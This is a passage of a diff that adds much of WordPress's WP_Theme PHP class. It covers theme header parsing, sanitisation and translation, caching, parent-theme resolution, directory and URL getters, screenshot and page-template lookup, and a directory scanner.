+	 *
+	 * @static
+	 * @access private
+	 * @var array
+	 */
+	private static $default_themes = array(
+		'classic'        => 'WordPress Classic',
+		'default'        => 'WordPress Default',
+		'twentyten'      => 'Twenty Ten',
+		'twentyeleven'   => 'Twenty Eleven',
+		'twentytwelve'   => 'Twenty Twelve',
+		'twentythirteen' => 'Twenty Thirteen',
+		'twentyfourteen' => 'Twenty Fourteen',
+		'twentyfifteen'  => 'Twenty Fifteen',
+	);
+
+	/**
+	 * Renamed theme tags.
+	 */
+	private static $tag_map = array(
+		'fixed-width'    => 'fixed-layout',
+		'flexible-width' => 'fluid-layout',
+	);
+
+	/**
+	 * Absolute path to the theme root, usually wp-content/themes
+	 *
+	 * @access private
+	 * @var string
+	 */
+	private $theme_root;
+
+	/**
+	 * Header data from the theme's style.css file.
+	 *
+	 * @access private
+	 * @var array
+	 */
+	private $headers = array();
+
+	/**
+	 * Header data from the theme's style.css file after being sanitized.
+	 *
+	 * @access private
+	 * @var array
+	 */
+	private $headers_sanitized;
+
+	/**
+	 * Header name from the theme's style.css after being translated.
+	 *
+	 * Cached due to sorting functions running over the translated name.
+	 */
+	private $name_translated;
+
+	/**
+	 * Errors encountered when initializing the theme.
+	 *
+	 * @access private
+	 * @var WP_Error
+	 */
+	private $errors;
+
+	/**
+	 * The directory name of the theme's files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is directory name of the child theme.
+	 * Otherwise, 'stylesheet' is the same as 'template'.
+	 *
+	 * @access private
+	 * @var string
+	 */
+	private $stylesheet;
+
+	/**
+	 * The directory name of the theme's files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is the directory name of the parent theme.
+	 * Otherwise, 'template' is the same as 'stylesheet'.
+	 *
+	 * @access private
+	 * @var string
+	 */
+	private $template;
+
+	/**
+	 * A reference to the parent theme, in the case of a child theme.
+	 *
+	 * @access private
+	 * @var WP_Theme
+	 */
+	private $parent;
+
+	/**
+	 * URL to the theme root, usually an absolute URL to wp-content/themes
+	 *
+	 * @access private
+	 * var string
+	 */
+	private $theme_root_uri;
+
+	/**
+	 * Flag for whether the theme's textdomain is loaded.
+	 *
+	 * @access private
+	 * @var bool
+	 */
+	private $textdomain_loaded;
+
+	/**
+	 * Stores an md5 hash of the theme root, to function as the cache key.
+	 *
+	 * @access private
+	 * @var string
+	 */
+	private $cache_hash;
+
+	/**
+	 * Flag for whether the themes cache bucket should be persistently cached.
+	 *
+	 * Default is false. Can be set with the wp_cache_themes_persistently filter.
+	 *
+	 * @access private
+	 * @var bool
+	 */
+	private static $persistently_cache;
+
+	/**
+	 * Expiration time for the themes cache bucket.
+	 *
+	 * By default the bucket is not cached, so this value is useless.
+	 *
+	 * @access private
+	 * @var bool
+	 */
+	private static $cache_expiration = 1800;
+
+	/**
+	 * Constructor for WP_Theme.
+	 *
+	 * @param string $theme_dir Directory of the theme within the theme_root.
+	 * @param string $theme_root Theme root.
+	 * @param WP_Error|null $_child If this theme is a parent theme, the child may be passed for validation purposes.
+	 */
+	public function __construct( $theme_dir, $theme_root, $_child = null ) {
+		global $wp_theme_directories;
+
+		// Initialize caching on first run.
+		if ( ! isset( self::$persistently_cache ) ) {
+			/** This action is documented in wp-includes/theme.php */
+			self::$persistently_cache = apply_filters( 'wp_cache_themes_persistently', false, 'WP_Theme' );
+			if ( self::$persistently_cache ) {
+				wp_cache_add_global_groups( 'themes' );
+				if ( is_int( self::$persistently_cache ) )
+					self::$cache_expiration = self::$persistently_cache;
+			} else {
+				wp_cache_add_non_persistent_groups( 'themes' );
+			}
+		}
+
+		$this->theme_root = $theme_root;
+		$this->stylesheet = $theme_dir;
+
+		// Correct a situation where the theme is 'some-directory/some-theme' but 'some-directory' was passed in as part of the theme root instead.
+		if ( ! in_array( $theme_root, (array) $wp_theme_directories ) && in_array( dirname( $theme_root ), (array) $wp_theme_directories ) ) {
+			$this->stylesheet = basename( $this->theme_root ) . '/' . $this->stylesheet;
+			$this->theme_root = dirname( $theme_root );
+		}
+
+		$this->cache_hash = md5( $this->theme_root . '/' . $this->stylesheet );
+		$theme_file = $this->stylesheet . '/style.css';
+
+		$cache = $this->cache_get( 'theme' );
+
+		if ( is_array( $cache ) ) {
+			foreach ( array( 'errors', 'headers', 'template' ) as $key ) {
+				if ( isset( $cache[ $key ] ) )
+					$this->$key = $cache[ $key ];
+			}
+			if ( $this->errors )
+				return;
+			if ( isset( $cache['theme_root_template'] ) )
+				$theme_root_template = $cache['theme_root_template'];
+		} elseif ( ! file_exists( $this->theme_root . '/' . $theme_file ) ) {
+			$this->headers['Name'] = $this->stylesheet;
+			if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet ) )
+				$this->errors = new WP_Error( 'theme_not_found', sprintf( __( 'The theme directory "%s" does not exist.' ), $this->stylesheet ) );
+			else
+				$this->errors = new WP_Error( 'theme_no_stylesheet', __( 'Stylesheet is missing.' ) );
+			$this->template = $this->stylesheet;
+			$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+			if ( ! file_exists( $this->theme_root ) ) // Don't cache this one.
+				$this->errors->add( 'theme_root_missing', __( 'ERROR: The themes directory is either empty or doesn&#8217;t exist. Please check your installation.' ) );
+			return;
+		} elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) {
+			$this->headers['Name'] = $this->stylesheet;
+			$this->errors = new WP_Error( 'theme_stylesheet_not_readable', __( 'Stylesheet is not readable.' ) );
+			$this->template = $this->stylesheet;
+			$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+			return;
+		} else {
+			$this->headers = get_file_data( $this->theme_root . '/' . $theme_file, self::$file_headers, 'theme' );
+			// Default themes always trump their pretenders.
+			// Properly identify default themes that are inside a directory within wp-content/themes.
+			if ( $default_theme_slug = array_search( $this->headers['Name'], self::$default_themes ) ) {
+				if ( basename( $this->stylesheet ) != $default_theme_slug )
+					$this->headers['Name'] .= '/' . $this->stylesheet;
+			}
+		}
+
+		// (If template is set from cache [and there are no errors], we know it's good.)
+		if ( ! $this->template && ! ( $this->template = $this->headers['Template'] ) ) {
+			$this->template = $this->stylesheet;
+			if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet . '/index.php' ) ) {
+				$this->errors = new WP_Error( 'theme_no_index', __( 'Template is missing.' ) );
+				$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+				return;
+			}
+		}
+
+		// If we got our data from cache, we can assume that 'template' is pointing to the right place.
+		if ( ! is_array( $cache ) && $this->template != $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) {
+			// If we're in a directory of themes inside /themes, look for the parent nearby.
+			// wp-content/themes/directory-of-themes/*
+			$parent_dir = dirname( $this->stylesheet );
+			if ( '.' != $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) {
+				$this->template = $parent_dir . '/' . $this->template;
+			} elseif ( ( $directories = search_theme_directories() ) && isset( $directories[ $this->template ] ) ) {
+				// Look for the template in the search_theme_directories() results, in case it is in another theme root.
+				// We don't look into directories of themes, just the theme root.
+				$theme_root_template = $directories[ $this->template ]['theme_root'];
+			} else {
+				// Parent theme is missing.
+				$this->errors = new WP_Error( 'theme_no_parent', sprintf( __( 'The parent theme is missing. Please install the "%s" parent theme.' ), $this->template ) );
+				$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+				$this->parent = new WP_Theme( $this->template, $this->theme_root, $this );
+				return;
+			}
+		}
+
+		// Set the parent, if we're a child theme.
+		if ( $this->template != $this->stylesheet ) {
+			// If we are a parent, then there is a problem. Only two generations allowed! Cancel things out.
+			if ( is_a( $_child, 'WP_Theme' ) && $_child->template == $this->stylesheet ) {
+				$_child->parent = null;
+				$_child->errors = new WP_Error( 'theme_parent_invalid', sprintf( __( 'The "%s" theme is not a valid parent theme.' ), $_child->template ) );
+				$_child->cache_add( 'theme', array( 'headers' => $_child->headers, 'errors' => $_child->errors, 'stylesheet' => $_child->stylesheet, 'template' => $_child->template ) );
+				// The two themes actually reference each other with the Template header.
+				if ( $_child->stylesheet == $this->template ) {
+					$this->errors = new WP_Error( 'theme_parent_invalid', sprintf( __( 'The "%s" theme is not a valid parent theme.' ), $this->template ) );
+					$this->cache_add( 'theme', array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template ) );
+				}
+				return;
+			}
+			// Set the parent. Pass the current instance so we can do the crazy checks above and assess errors.
+			$this->parent = new WP_Theme( $this->template, isset( $theme_root_template ) ? $theme_root_template : $this->theme_root, $this );
+		}
+
+		// We're good. If we didn't retrieve from cache, set it.
+		if ( ! is_array( $cache ) ) {
+			$cache = array( 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template );
+			// If the parent theme is in another root, we'll want to cache this. Avoids an entire branch of filesystem calls above.
+			if ( isset( $theme_root_template ) )
+				$cache['theme_root_template'] = $theme_root_template;
+			$this->cache_add( 'theme', $cache );
+		}
+	}
+
+	/**
+	 * When converting the object to a string, the theme name is returned.
+	 *
+	 * @return string Theme name, ready for display (translated)
+	 */
+	public function __toString() {
+		return (string) $this->display('Name');
+	}
+
+	/**
+	 * __isset() magic method for properties formerly returned by current_theme_info()
+	 */
+	public function __isset( $offset ) {
+		static $properties = array(
+			'name', 'title', 'version', 'parent_theme', 'template_dir', 'stylesheet_dir', 'template', 'stylesheet',
+			'screenshot', 'description', 'author', 'tags', 'theme_root', 'theme_root_uri',
+		);
+
+		return in_array( $offset, $properties );
+	}
+
+	/**
+	 * __get() magic method for properties formerly returned by current_theme_info()
+	 */
+	public function __get( $offset ) {
+		switch ( $offset ) {
+			case 'name' :
+			case 'title' :
+				return $this->get('Name');
+			case 'version' :
+				return $this->get('Version');
+			case 'parent_theme' :
+				return $this->parent() ? $this->parent()->get('Name') : '';
+			case 'template_dir' :
+				return $this->get_template_directory();
+			case 'stylesheet_dir' :
+				return $this->get_stylesheet_directory();
+			case 'template' :
+				return $this->get_template();
+			case 'stylesheet' :
+				return $this->get_stylesheet();
+			case 'screenshot' :
+				return $this->get_screenshot( 'relative' );
+			// 'author' and 'description' did not previously return translated data.
+			case 'description' :
+				return $this->display('Description');
+			case 'author' :
+				return $this->display('Author');
+			case 'tags' :
+				return $this->get( 'Tags' );
+			case 'theme_root' :
+				return $this->get_theme_root();
+			case 'theme_root_uri' :
+				return $this->get_theme_root_uri();
+			// For cases where the array was converted to an object.
+			default :
+				return $this->offsetGet( $offset );
+		}
+	}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
+	 */
+	public function offsetSet( $offset, $value ) {}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
+	 */
+	public function offsetUnset( $offset ) {}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes()
+	 */
+	public function offsetExists( $offset ) {
+		static $keys = array(
+			'Name', 'Version', 'Status', 'Title', 'Author', 'Author Name', 'Author URI', 'Description',
+			'Template', 'Stylesheet', 'Template Files', 'Stylesheet Files', 'Template Dir', 'Stylesheet Dir',
+			 'Screenshot', 'Tags', 'Theme Root', 'Theme Root URI', 'Parent Theme',
+		);
+
+		return in_array( $offset, $keys );
+	}
+
+	/**
+	 * Method to implement ArrayAccess for keys formerly returned by get_themes().
+	 *
+	 * Author, Author Name, Author URI, and Description did not previously return
+	 * translated data. We are doing so now as it is safe to do. However, as
+	 * Name and Title could have been used as the key for get_themes(), both remain
+	 * untranslated for back compatibility. This means that ['Name'] is not ideal,
+	 * and care should be taken to use $theme->display('Name') to get a properly
+	 * translated header.
+	 */
+	public function offsetGet( $offset ) {
+		switch ( $offset ) {
+			case 'Name' :
+			case 'Title' :
+				// See note above about using translated data. get() is not ideal.
+				// It is only for backwards compatibility. Use display().
+				return $this->get('Name');
+			case 'Author' :
+				return $this->display( 'Author');
+			case 'Author Name' :
+				return $this->display( 'Author', false);
+			case 'Author URI' :
+				return $this->display('AuthorURI');
+			case 'Description' :
+				return $this->display( 'Description');
+			case 'Version' :
+			case 'Status' :
+				return $this->get( $offset );
+			case 'Template' :
+				return $this->get_template();
+			case 'Stylesheet' :
+				return $this->get_stylesheet();
+			case 'Template Files' :
+				return $this->get_files( 'php', 1, true );
+			case 'Stylesheet Files' :
+				return $this->get_files( 'css', 0, false );
+			case 'Template Dir' :
+				return $this->get_template_directory();
+			case 'Stylesheet Dir' :
+				return $this->get_stylesheet_directory();
+			case 'Screenshot' :
+				return $this->get_screenshot( 'relative' );
+			case 'Tags' :
+				return $this->get('Tags');
+			case 'Theme Root' :
+				return $this->get_theme_root();
+			case 'Theme Root URI' :
+				return $this->get_theme_root_uri();
+			case 'Parent Theme' :
+				return $this->parent() ? $this->parent()->get('Name') : '';
+			default :
+				return null;
+		}
+	}
+
+	/**
+	 * Returns errors property.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return WP_Error|bool WP_Error if there are errors, or false.
+	 */
+	public function errors() {
+		return is_wp_error( $this->errors ) ? $this->errors : false;
+	}
+
+	/**
+	 * Whether the theme exists.
+	 *
+	 * A theme with errors exists. A theme with the error of 'theme_not_found',
+	 * meaning that the theme's directory was not found, does not exist.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return bool Whether the theme exists.
+	 */
+	public function exists() {
+		return ! ( $this->errors() && in_array( 'theme_not_found', $this->errors()->get_error_codes() ) );
+	}
+
+	/**
+	 * Returns reference to the parent theme.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return WP_Theme|bool Parent theme, or false if the current theme is not a child theme.
+	 */
+	public function parent() {
+		return isset( $this->parent ) ? $this->parent : false;
+	}
+
+	/**
+	 * Adds theme data to cache.
+	 *
+	 * Cache entries keyed by the theme and the type of data.
+	 *
+	 * @access private
+	 * @since 3.4.0
+	 *
+	 * @param string $key Type of data to store (theme, screenshot, headers, page_templates)
+	 * @param string $data Data to store
+	 * @return bool Return value from wp_cache_add()
+	 */
+	private function cache_add( $key, $data ) {
+		return wp_cache_add( $key . '-' . $this->cache_hash, $data, 'themes', self::$cache_expiration );
+	}
+
+	/**
+	 * Gets theme data from cache.
+	 *
+	 * Cache entries are keyed by the theme and the type of data.
+	 *
+	 * @access private
+	 * @since 3.4.0
+	 *
+	 * @param string $key Type of data to retrieve (theme, screenshot, headers, page_templates)
+	 * @return mixed Retrieved data
+	 */
+	private function cache_get( $key ) {
+		return wp_cache_get( $key . '-' . $this->cache_hash, 'themes' );
+	}
+
+	/**
+	 * Clears the cache for the theme.
+	 *
+	 * @access public
+	 * @since 3.4.0
+	 */
+	public function cache_delete() {
+		foreach ( array( 'theme', 'screenshot', 'headers', 'page_templates' ) as $key )
+			wp_cache_delete( $key . '-' . $this->cache_hash, 'themes' );
+		$this->template = $this->textdomain_loaded = $this->theme_root_uri = $this->parent = $this->errors = $this->headers_sanitized = $this->name_translated = null;
+		$this->headers = array();
+		$this->__construct( $this->stylesheet, $this->theme_root );
+	}
+
+	/**
+	 * Get a raw, unformatted theme header.
+	 *
+	 * The header is sanitized, but is not translated, and is not marked up for display.
+	 * To get a theme header for display, use the display() method.
+	 *
+	 * Use the get_template() method, not the 'Template' header, for finding the template.
+	 * The 'Template' header is only good for what was written in the style.css, while
+	 * get_template() takes into account where WordPress actually located the theme and
+	 * whether it is actually valid.
+	 *
+	 * @access public
+	 * @since 3.4.0
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @return string|bool String on success, false on failure.
+	 */
+	public function get( $header ) {
+		if ( ! isset( $this->headers[ $header ] ) )
+			return false;
+
+		if ( ! isset( $this->headers_sanitized ) ) {
+			$this->headers_sanitized = $this->cache_get( 'headers' );
+			if ( ! is_array( $this->headers_sanitized ) )
+				$this->headers_sanitized = array();
+		}
+
+		if ( isset( $this->headers_sanitized[ $header ] ) )
+			return $this->headers_sanitized[ $header ];
+
+		// If themes are a persistent group, sanitize everything and cache it. One cache add is better than many cache sets.
+		if ( self::$persistently_cache ) {
+			foreach ( array_keys( $this->headers ) as $_header )
+				$this->headers_sanitized[ $_header ] = $this->sanitize_header( $_header, $this->headers[ $_header ] );
+			$this->cache_add( 'headers', $this->headers_sanitized );
+		} else {
+			$this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
+		}
+
+		return $this->headers_sanitized[ $header ];
+	}
+
+	/**
+	 * Gets a theme header, formatted and translated for display.
+	 *
+	 * @access public
+	 * @since 3.4.0
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param bool $markup Optional. Whether to mark up the header. Defaults to true.
+	 * @param bool $translate Optional. Whether to translate the header. Defaults to true.
+	 * @return string|bool Processed header, false on failure.
+	 */
+	public function display( $header, $markup = true, $translate = true ) {
+		$value = $this->get( $header );
+		if ( false === $value ) {
+			return false;
+		}
+
+		if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
+			$translate = false;
+
+		if ( $translate )
+			$value = $this->translate_header( $header, $value );
+
+		if ( $markup )
+			$value = $this->markup_header( $header, $value, $translate );
+
+		return $value;
+	}
+
+	/**
+	 * Sanitize a theme header.
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param string $value Value to sanitize.
+	 */
+	private function sanitize_header( $header, $value ) {
+		switch ( $header ) {
+			case 'Status' :
+				if ( ! $value ) {
+					$value = 'publish';
+					break;
+				}
+				// Fall through otherwise.
+			case 'Name' :
+				static $header_tags = array(
+					'abbr'    => array( 'title' => true ),
+					'acronym' => array( 'title' => true ),
+					'code'    => true,
+					'em'      => true,
+					'strong'  => true,
+				);
+				$value = wp_kses( $value, $header_tags );
+				break;
+			case 'Author' :
+				// There shouldn't be anchor tags in Author, but some themes like to be challenging.
+			case 'Description' :
+				static $header_tags_with_a = array(
+					'a'       => array( 'href' => true, 'title' => true ),
+					'abbr'    => array( 'title' => true ),
+					'acronym' => array( 'title' => true ),
+					'code'    => true,
+					'em'      => true,
+					'strong'  => true,
+				);
+				$value = wp_kses( $value, $header_tags_with_a );
+				break;
+			case 'ThemeURI' :
+			case 'AuthorURI' :
+				$value = esc_url_raw( $value );
+				break;
+			case 'Tags' :
+				$value = array_filter( array_map( 'trim', explode( ',', strip_tags( $value ) ) ) );
+				break;
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Mark up a theme header.
+	 *
+	 * @access private
+	 * @since 3.4.0
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param string $value Value to mark up.
+	 * @param string $translate Whether the header has been translated.
+	 * @return string Value, marked up.
+	 */
+	private function markup_header( $header, $value, $translate ) {
+		switch ( $header ) {
+			case 'Name' :
+				if ( empty( $value ) )
+					$value = $this->get_stylesheet();
+				break;
+			case 'Description' :
+				$value = wptexturize( $value );
+				break;
+			case 'Author' :
+				if ( $this->get('AuthorURI') ) {
+					$value = sprintf( '<a href="%1$s">%2$s</a>', $this->display( 'AuthorURI', true, $translate ), $value );
+				} elseif ( ! $value ) {
+					$value = __( 'Anonymous' );
+				}
+				break;
+			case 'Tags' :
+				static $comma = null;
+				if ( ! isset( $comma ) ) {
+					/* translators: used between list items, there is a space after the comma */
+					$comma = __( ', ' );
+				}
+				$value = implode( $comma, $value );
+				break;
+			case 'ThemeURI' :
+			case 'AuthorURI' :
+				$value = esc_url( $value );
+				break;
+		}
+
+		return $value;
+	}
+
+	/**
+	 * Translate a theme header.
+	 *
+	 * @access private
+	 * @since 3.4.0
+	 *
+	 * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags.
+	 * @param string $value Value to translate.
+	 * @return string Translated value.
+	 */
+	private function translate_header( $header, $value ) {
+		switch ( $header ) {
+			case 'Name' :
+				// Cached for sorting reasons.
+				if ( isset( $this->name_translated ) )
+					return $this->name_translated;
+				$this->name_translated = translate( $value, $this->get('TextDomain' ) );
+				return $this->name_translated;
+			case 'Tags' :
+				if ( empty( $value ) || ! function_exists( 'get_theme_feature_list' ) )
+					return $value;
+
+				static $tags_list;
+				if ( ! isset( $tags_list ) ) {
+					$tags_list = array();
+					$feature_list = get_theme_feature_list( false ); // No API
+					foreach ( $feature_list as $tags )
+						$tags_list += $tags;
+				}
+
+				foreach ( $value as &$tag ) {
+					if ( isset( $tags_list[ $tag ] ) ) {
+						$tag = $tags_list[ $tag ];
+					} elseif ( isset( self::$tag_map[ $tag ] ) ) {
+						$tag = $tags_list[ self::$tag_map[ $tag ] ];
+					}
+				}
+
+				return $value;
+
+			default :
+				$value = translate( $value, $this->get('TextDomain') );
+		}
+		return $value;
+	}
+
+	/**
+	 * The directory name of the theme's "stylesheet" files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is directory name of the child theme.
+	 * Otherwise, get_stylesheet() is the same as get_template().
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string Stylesheet
+	 */
+	public function get_stylesheet() {
+		return $this->stylesheet;
+	}
+
+	/**
+	 * The directory name of the theme's "template" files, inside the theme root.
+	 *
+	 * In the case of a child theme, this is the directory name of the parent theme.
+	 * Otherwise, the get_template() is the same as get_stylesheet().
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string Template
+	 */
+	public function get_template() {
+		return $this->template;
+	}
+
+	/**
+	 * Returns the absolute path to the directory of a theme's "stylesheet" files.
+	 *
+	 * In the case of a child theme, this is the absolute path to the directory
+	 * of the child theme's files.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string Absolute path of the stylesheet directory.
+	 */
+	public function get_stylesheet_directory() {
+		if ( $this->errors() && in_array( 'theme_root_missing', $this->errors()->get_error_codes() ) )
+			return '';
+
+		return $this->theme_root . '/' . $this->stylesheet;
+	}
+
+	/**
+	 * Returns the absolute path to the directory of a theme's "template" files.
+	 *
+	 * In the case of a child theme, this is the absolute path to the directory
+	 * of the parent theme's files.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string Absolute path of the template directory.
+	 */
+	public function get_template_directory() {
+		if ( $this->parent() )
+			$theme_root = $this->parent()->theme_root;
+		else
+			$theme_root = $this->theme_root;
+
+		return $theme_root . '/' . $this->template;
+	}
+
+	/**
+	 * Returns the URL to the directory of a theme's "stylesheet" files.
+	 *
+	 * In the case of a child theme, this is the URL to the directory of the
+	 * child theme's files.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string URL to the stylesheet directory.
+	 */
+	public function get_stylesheet_directory_uri() {
+		return $this->get_theme_root_uri() . '/' . str_replace( '%2F', '/', rawurlencode( $this->stylesheet ) );
+	}
+
+	/**
+	 * Returns the URL to the directory of a theme's "template" files.
+	 *
+	 * In the case of a child theme, this is the URL to the directory of the
+	 * parent theme's files.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string URL to the template directory.
+	 */
+	public function get_template_directory_uri() {
+		if ( $this->parent() )
+			$theme_root_uri = $this->parent()->get_theme_root_uri();
+		else
+			$theme_root_uri = $this->get_theme_root_uri();
+
+		return $theme_root_uri . '/' . str_replace( '%2F', '/', rawurlencode( $this->template ) );
+	}
+
+	/**
+	 * The absolute path to the directory of the theme root.
+	 *
+	 * This is typically the absolute path to wp-content/themes.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string Theme root.
+	 */
+	public function get_theme_root() {
+		return $this->theme_root;
+	}
+
+	/**
+	 * Returns the URL to the directory of the theme root.
+	 *
+	 * This is typically the absolute URL to wp-content/themes. This forms the basis
+	 * for all other URLs returned by WP_Theme, so we pass it to the public function
+	 * get_theme_root_uri() and allow it to run the theme_root_uri filter.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return string Theme root URI.
+	 */
+	public function get_theme_root_uri() {
+		if ( ! isset( $this->theme_root_uri ) )
+			$this->theme_root_uri = get_theme_root_uri( $this->stylesheet, $this->theme_root );
+		return $this->theme_root_uri;
+	}
+
+	/**
+	 * Returns the main screenshot file for the theme.
+	 *
+	 * The main screenshot is called screenshot.png. gif and jpg extensions are also allowed.
+	 *
+	 * Screenshots for a theme must be in the stylesheet directory. (In the case of child
+	 * themes, parent theme screenshots are not inherited.)
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param string $uri Type of URL to return, either 'relative' or an absolute URI. Defaults to absolute URI.
+	 * @return mixed Screenshot file. False if the theme does not have a screenshot.
+	 */
+	public function get_screenshot( $uri = 'uri' ) {
+		$screenshot = $this->cache_get( 'screenshot' );
+		if ( $screenshot ) {
+			if ( 'relative' == $uri )
+				return $screenshot;
+			return $this->get_stylesheet_directory_uri() . '/' . $screenshot;
+		} elseif ( 0 === $screenshot ) {
+			return false;
+		}
+
+		foreach ( array( 'png', 'gif', 'jpg', 'jpeg' ) as $ext ) {
+			if ( file_exists( $this->get_stylesheet_directory() . "/screenshot.$ext" ) ) {
+				$this->cache_add( 'screenshot', 'screenshot.' . $ext );
+				if ( 'relative' == $uri )
+					return 'screenshot.' . $ext;
+				return $this->get_stylesheet_directory_uri() . '/' . 'screenshot.' . $ext;
+			}
+		}
+
+		$this->cache_add( 'screenshot', 0 );
+		return false;
+	}
+
+	/**
+	 * Return files in the theme's directory.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param mixed $type Optional. Array of extensions to return. Defaults to all files (null).
+	 * @param int $depth Optional. How deep to search for files. Defaults to a flat scan (0 depth). -1 depth is infinite.
+	 * @param bool $search_parent Optional. Whether to return parent files. Defaults to false.
+	 * @return array Array of files, keyed by the path to the file relative to the theme's directory, with the values
+	 * 	being absolute paths.
+	 */
+	public function get_files( $type = null, $depth = 0, $search_parent = false ) {
+		$files = (array) self::scandir( $this->get_stylesheet_directory(), $type, $depth );
+
+		if ( $search_parent && $this->parent() )
+			$files += (array) self::scandir( $this->get_template_directory(), $type, $depth );
+
+		return $files;
+	}
+
+	/**
+	 * Returns the theme's page templates.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @param WP_Post|null $post Optional. The post being edited, provided for context.
+	 * @return array Array of page templates, keyed by filename, with the value of the translated header name.
+	 */
+	public function get_page_templates( $post = null ) {
+		// If you screw up your current theme and we invalidate your parent, most things still work. Let it slide.
+		if ( $this->errors() && $this->errors()->get_error_codes() !== array( 'theme_parent_invalid' ) )
+			return array();
+
+		$page_templates = $this->cache_get( 'page_templates' );
+
+		if ( ! is_array( $page_templates ) ) {
+			$page_templates = array();
+
+			$files = (array) $this->get_files( 'php', 1 );
+
+			foreach ( $files as $file => $full_path ) {
+				if ( ! preg_match( '|Template Name:(.*)$|mi', file_get_contents( $full_path ), $header ) )
+					continue;
+				$page_templates[ $file ] = _cleanup_header_comment( $header[1] );
+			}
+
+			$this->cache_add( 'page_templates', $page_templates );
+		}
+
+		if ( $this->load_textdomain() ) {
+			foreach ( $page_templates as &$page_template ) {
+				$page_template = $this->translate_header( 'Template Name', $page_template );
+			}
+		}
+
+		if ( $this->parent() )
+			$page_templates += $this->parent()->get_page_templates( $post );
+
+		/**
+		 * Filter list of page templates for a theme.
+		 *
+		 * This filter does not currently allow for page templates to be added.
+		 *
+		 * @since 3.9.0
+		 *
+		 * @param array        $page_templates Array of page templates. Keys are filenames,
+		 *                                     values are translated names.
+		 * @param WP_Theme     $this           The theme object.
+		 * @param WP_Post|null $post           The post being edited, provided for context, or null.
+		 */
+		$return = apply_filters( 'theme_page_templates', $page_templates, $this, $post );
+
+		return array_intersect_assoc( $return, $page_templates );
+	}
+
+	/**
+	 * Scans a directory for files of a certain extension.
+	 *
+	 * @since 3.4.0
+	 * @access private
+	 *
+	 * @param string $path Absolute path to search.
+	 * @param mixed  Array of extensions to find, string of a single extension, or null for all extensions.
+	 * @param int $depth How deep to search for files. Optional, defaults to a flat scan (0 depth). -1 depth is infinite.
+	 * @param string $relative_path The basename of the absolute path. Used to control the returned path
+	 * 	for the found files, particularly when this function recurses to lower depths.
+	 */
+	private static function scandir( $path, $extensions = null, $depth = 0, $relative_path = '' ) {
+		if ( ! is_dir( $path ) )
+			return false;
+
+		if ( $extensions ) {
+			$extensions = (array) $extensions;
+			$_extensions = implode( '|', $extensions );
+		}
+
+		$relative_path = trailingslashit( $relative_path );
+		if ( '/' == $relative_path )
+			$relative_path = '';
+
+		$results = scandir( $path );
+		$files = array();
+
+		foreach ( $results as $result ) {
+			if ( '.' == $result[0] )
+				continue;
+			if ( is_dir( $path . '/' . $result ) ) {
+				if ( ! $depth || 'CVS' == $result )
+					continue;
+				$found = self::scandir( $path . '/' . $result, $extensions, $depth - 1 , $relative_path . $result );
+				$files = array_merge_recursive( $files, $found );
+			} elseif ( ! $extensions || preg_match( '~\.(' . $_extensions . ')$~', $result ) ) {
+				$files[ $relative_path . $result ] = $path . '/' . $result;
+			}
+		}
+
+		return $files;
+	}
+
+	/**
+	 * Loads the theme's textdomain.
+	 *
+	 * Translation files are not inherited from the parent theme. Todo: if this fails for the
+	 * child theme, it should probably try to load the parent theme's translations.
+	 *
+	 * @since 3.4.0
+	 * @access public
+	 *
+	 * @return bool If the textdomain was successfully loaded or has already been loaded. False if
+	 * 	no textdomain was specified in the file headers, or if the domain could not be loaded.
+	 */
+	public function load_textdomain() {
+		if ( isset( $this->textdomain_loaded ) )
+			return $this->textdomain_loaded;
+
